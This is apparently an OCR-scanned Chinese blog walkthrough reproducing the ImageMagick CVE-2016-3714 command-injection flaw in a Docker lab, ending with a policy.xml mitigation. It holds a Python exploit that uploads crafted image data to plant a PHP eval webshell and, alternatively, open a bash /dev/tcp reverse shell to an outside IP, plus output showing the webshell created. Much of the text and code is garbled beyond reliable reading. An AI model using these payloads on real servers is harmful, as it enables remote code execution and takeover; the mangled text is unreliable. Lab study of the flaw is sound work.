Z4:-ImageMagick /M F557F6.9.3-9fk & & PATIRIAZ I
GO

AN FM F 2021-07-30 10:30:25 K Aii 264
SRER: 2L #REAEIH CERE:  shell php docker ¥R imagemagick

RRAN S B . A SONTE R R AISCE, B1E CC 4.0 BY-SA FRAUMMYL, &M LR SCH b mA S,
ACEERE: https://blog.csdn.net/smallfox233/article/details/119237189
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Docker B E HF
Docker ##2 | £ B #H2
POCHIA & &7
ImageMagick & M
ImageMagick F 3 & M

ImageMagick & & & F

—. LI
LI
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BAENL Ubuntu 14.04
ImageMagick MNFE%F6.9.3-9
P 4 2 1)
user 123456
Linux#y 4 N4
docker exec -it [%&#/EBIFIRE] /bin/bash J& FlapacheiR 55
docker image #F A I dockersi g
exit Bt B T #shell
Is BE LR T HIBTE X
service apache? status #HapacheiFZTRE
sudo [HF 4] PIB HARA S, TR S R

—. RHEEN
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#!/usr/bin/env python
# coding:utf-8

import requests
import base64

target = "http://172.16.11.2:8080/" #H#r

def doPost(url, data):
post_data = {"img": base64.b64encode(data)}
try:
requests.post(url + "/poc.php", data=post_data, timeout=1)
except:
pass

# 5 webshell

def writeshell(url):
writeshell = "'

viewbox © © 640 480

£ill 'url(https://example.com/1.jpg" |echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")'

pop graphic-context

push graphic-context

doPost(url, writeshell)

resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})

if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
print "WebShell: " + url + "shell.php"

def reverse_shell(url):
reverse_shell = """
viewbox © © 640 480

fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")"

push graphic-context

pop graphic-context

# R# shell

doPost(url, reverse_shell)

if __name__ == '_ main__"':
# 5 webshell
writeshell(target)
# [k# shell
# reverse_shell("http://127.0.0.1:8000/")

[2]. /5 F dockeri 1%

R4 user BH5 123456 &3



Ubuntu 14.04.4 LTS Ubuntu ttyl

Ubuntu login: user

L& login: Fri Jan 13 13:46:35 CST 2017 on ttyl
Welcome to Ubuntu 14.04.4 LTS (GNUALinux 4.2.0-27-
« Documentation: https:/shelp.ubuntu.com/

user@Ubuntu:™% _

log.csdn.net/smal

AP user MIR&EH A, FHMS docker image BEUHTHI docker ZER &R

user@ubuntu:™~$% docker i
[o000] Get http run/docker.sock/v1.18/images/ json: dial unix /var/run/docker.sock: permission denied. Are you trying

P sufiIEBEEE RN, BRI su, Y1 ERA 250 0D

userdibuntu:™% sudo su
~d for user:

Jhome/user#

f§ ] docker images EE HHIAIFK docker 8%
FEHFK docker 8B AN cve-2016-3714 , ERFFIRES A 3a52e631fa88

ZH I+ &
REPOSITORY BB EA
TAG A
IMAGE ID BBEFRIR
CREATED E— kR EIZ I TA]

VIRTUAL SIZE BAR IR A



VIRTUAL SIZE
1.196 GB

i65.1 MB
.9 MB

docker cve-2016-3714 ichunqiu 80 8080
8080:80 127.0.0.1
-p port --name -itd

root@Ubuntu: shomes/user# docker run --name=ichungiu -p 8080:80 -itd 3a52e631faB8 sbinsbash
caddclaladdz2z2tac02ciac

root@lbuntu: /homesusers

o FANEZA ichunqiu MEBEAE, FHE3) apache k%
ichunqiu W] LHEB KPR IRS 3a52e631Fa88 &R

's fully gualified domain name, using 172.17.0.1.

root@cad4clOalagd2: /# _

% apache RGBT



https://www.runoob.com/docker/docker-run-command.html
https://www.runoob.com/docker/docker-port-command.html
https://www.runoob.com/docker/docker-exec-command.html

root@caddc0alagdz: /# exit
exit

root@ubuntu: /homes/user#

BE— T HEBRE THRISXCH, poc.py BLRIRAIHEZHAT B4

-@Ubuntu:fhmmEFUZEP# 1s

examples.desktop flag poc.py
root@Ubuntu:/homes/userd _

PAT poc.py BIA, REIT —4 shell.php FIZEEKE

root@ubuntu: /homes/user# python poc.py

WebShell: http:// 16.11.2:8080/shell.php

root@ubuntu: /home/userd# _

BEN docker B8+, &FE shell.php BHEKARAN—AIERD, £RPOCH AR

'user# docker exec -it ichungiu shins/bash
Ao/ html
html# 1s
poc.php shell.php testimag.php

cadj4clala fvar/uwwshtmld cat shell.php

)/htmlA

7E /etc/ImageMagick/policy.xml FF¥sinn TG

policymap
policy
policy
policy
policy
policy
policymap
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